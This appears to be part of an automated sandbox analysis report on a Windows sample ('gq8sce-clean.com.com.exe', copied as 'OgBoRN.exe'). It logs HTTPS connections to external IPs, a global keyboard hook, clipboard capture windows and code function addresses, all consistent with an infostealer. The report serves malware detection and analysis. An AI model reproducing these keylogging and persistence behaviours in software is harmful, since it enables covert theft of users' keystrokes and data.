Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vault.microsoftazure.de4https://batch.cloudapi.de/$Settings
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://vault.microsoftazure.de6https://api.loganalytics.io
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://vault.usgovcloudapi.net
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vault.usgovcloudapi.netJhttps://batch.core.usgovcloudapi.net/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50015 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0166FC70	0_2_0166FC70
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0166EA58	0_2_0166EA58
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_01660C70	0_2_01660C70
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_01660C4F	0_2_01660C4F
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0194F430	0_2_0194F430
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03360040	0_2_03360040
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_033606F0	0_2_033606F0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03369470	0_2_03369470
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03363A87	0_2_03363A87
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03360C30	0_2_03360C30
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03366C79	0_2_03366C79
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03367067	0_2_03367067
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_033696B4	0_2_033696B4
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_033606E0	0_2_033606E0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03369460	0_2_03369460
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03367B09	0_2_03367B09
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03363ACE	0_2_03363ACE
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03363F55	0_2_03363F55
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03366FE1	0_2_03366FE1
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03366FD8	0_2_03366FD8
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_03360C20	0_2_03360C20
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A5D420	0_2_05A5D420
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A55610	0_2_05A55610
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A555FF	0_2_05A555FF
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A5C4E0	0_2_05A5C4E0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A5C4D3	0_2_05A5C4D3
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFCDB0	0_2_05CFCDB0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF7570	0_2_05CF7570
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF67D0	0_2_05CF67D0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF26E0	0_2_05CF26E0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF9940	0_2_05CF9940
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF8100	0_2_05CF8100
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFD8E0	0_2_05CFD8E0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF93D0	0_2_05CF93D0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFAB98	0_2_05CFAB98
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFEB68	0_2_05CFEB68
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF3B20	0_2_05CF3B20
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFFB38	0_2_05CFFB38
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFD248	0_2_05CFD248
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFBDE0	0_2_05CFBDE0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF7561	0_2_05CF7561
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF67C0	0_2_05CF67C0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFC1B8	0_2_05CFC1B8
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFA1B0	0_2_05CFA1B0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF6140	0_2_05CF6140
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF992F	0_2_05CF992F
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFC930	0_2_05CFC930
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF6130	0_2_05CF6130
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFAB88	0_2_05CFAB88
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFEB57	0_2_05CFEB57
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CFB2A1	0_2_05CFB2A1
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0955D900	0_2_0955D900
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_09550490	0_2_09550490
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_09550B9F	0_2_09550B9F
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_09550EC0	0_2_09550EC0
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_09550481	0_2_09550481
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0213EA58	3_2_0213EA58
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0213FC70	3_2_0213FC70
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_02130C4F	3_2_02130C4F
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_02130C70	3_2_02130C70
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_05E5F430	3_2_05E5F430
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065506F0	3_2_065506F0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06550040	3_2_06550040
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06558E50	3_2_06558E50
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06556C79	3_2_06556C79
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06550C30	3_2_06550C30
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06553A87	3_2_06553A87
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065506E0	3_2_065506E0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06557067	3_2_06557067
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06559094	3_2_06559094
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06558E41	3_2_06558E41
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06553F55	3_2_06553F55
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06556FD8	3_2_06556FD8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06556FE1	3_2_06556FE1
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06550C20	3_2_06550C20
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06553ACE	3_2_06553ACE
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06557B09	3_2_06557B09
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06565610	3_2_06565610
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0656D420	3_2_0656D420
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0656C4E0	3_2_0656C4E0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065655FF	3_2_065655FF
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065648B0	3_2_065648B0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D67C0	3_2_065D67C0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DA788	3_2_065DA788
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D9DA0	3_2_065D9DA0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DD240	3_2_065DD240
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D3B20	3_2_065D3B20
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DD8D7	3_2_065DD8D7
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DAE91	3_2_065DAE91
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DA779	3_2_065DA779
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DF7C8	3_2_065DF7C8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D67B0	3_2_065D67B0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DFC20	3_2_065DFC20
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D94B8	3_2_065D94B8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D7550	3_2_065D7550
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D7560	3_2_065D7560
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D9500	3_2_065D9500
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D9530	3_2_065D9530
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D9520	3_2_065D9520
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DBDD8	3_2_065DBDD8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DCDA8	3_2_065DCDA8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DEB58	3_2_065DEB58
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DEB48	3_2_065DEB48
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D8BF0	3_2_065D8BF0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D83A4	3_2_065D83A4
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D6138	3_2_065D6138
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DC928	3_2_065DC928
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065D612B	3_2_065D612B
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_065DC1B0	3_2_065DC1B0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0A180F60	3_2_0A180F60
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0A180448	3_2_0A180448
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0A18D998	3_2_0A18D998
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0A180F51	3_2_0A180F51
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_0A18043B	3_2_0A18043B
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0241EA58	4_2_0241EA58
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0241FC70	4_2_0241FC70
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_02410C4F	4_2_02410C4F
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_02410C70	4_2_02410C70
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_05EFF430	4_2_05EFF430
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A06F0	4_2_066A06F0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A0040	4_2_066A0040
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A0C30	4_2_066A0C30
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A8C80	4_2_066A8C80
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A3D07	4_2_066A3D07
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A6AC9	4_2_066A6AC9
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A06E0	4_2_066A06E0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A41D5	4_2_066A41D5
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A6E28	4_2_066A6E28
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A6E31	4_2_066A6E31
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A8EC4	4_2_066A8EC4
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A6EB7	4_2_066A6EB7
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A8C70	4_2_066A8C70
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A0C21	4_2_066A0C21
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A3D4E	4_2_066A3D4E
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066A7959	4_2_066A7959
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F3F20	4_2_066F3F20
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F67C0	4_2_066F67C0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FD238	4_2_066FD238
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F2AEA	4_2_066F2AEA
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FD8CF	4_2_066FD8CF
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FA1A0	4_2_066FA1A0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FEF60	4_2_066FEF60
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FEF50	4_2_066FEF50
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F8FF0	4_2_066F8FF0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F67B0	4_2_066F67B0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F84F8	4_2_066F84F8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F7560	4_2_066F7560
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F7550	4_2_066F7550
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FBDD0	4_2_066FBDD0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FCDA0	4_2_066FCDA0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FC5B8	4_2_066FC5B8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FB291	4_2_066FB291
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FAB79	4_2_066FAB79
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FAB88	4_2_066FAB88
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F98B8	4_2_066F98B8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F6121	4_2_066F6121
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FC920	4_2_066FC920
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F9920	4_2_066F9920
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F6130	4_2_066F6130
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066F9930	4_2_066F9930
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_066FC1A8	4_2_066FC1A8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_07935610	4_2_07935610
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0793D480	4_2_0793D480
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_079355FF	4_2_079355FF
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0793C540	4_2_0793C540
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_079348B0	4_2_079348B0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0F0B60	4_2_0A0F0B60
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0F0040	4_2_0A0F0040
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0FD5A0	4_2_0A0FD5A0
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0FFA90	4_2_0A0FFA90
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0F0B51	4_2_0A0F0B51
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 4_2_0A0F001F	4_2_0A0F001F

Source: gq8sce-clean.com.com.exe, 00000000.00000002.4565689796.0000000001198000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs gq8sce-clean.com.com.exe
Source: gq8sce-clean.com.com.exe, 00000000.00000000.2113428029.0000000001004000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamed39e31f8-6055-4385-86be-4d10b950f405.exe8 vs gq8sce-clean.com.com.exe
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4567833150.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs gq8sce-clean.com.com.exe
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4571013968.0000000003491000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs gq8sce-clean.com.com.exe

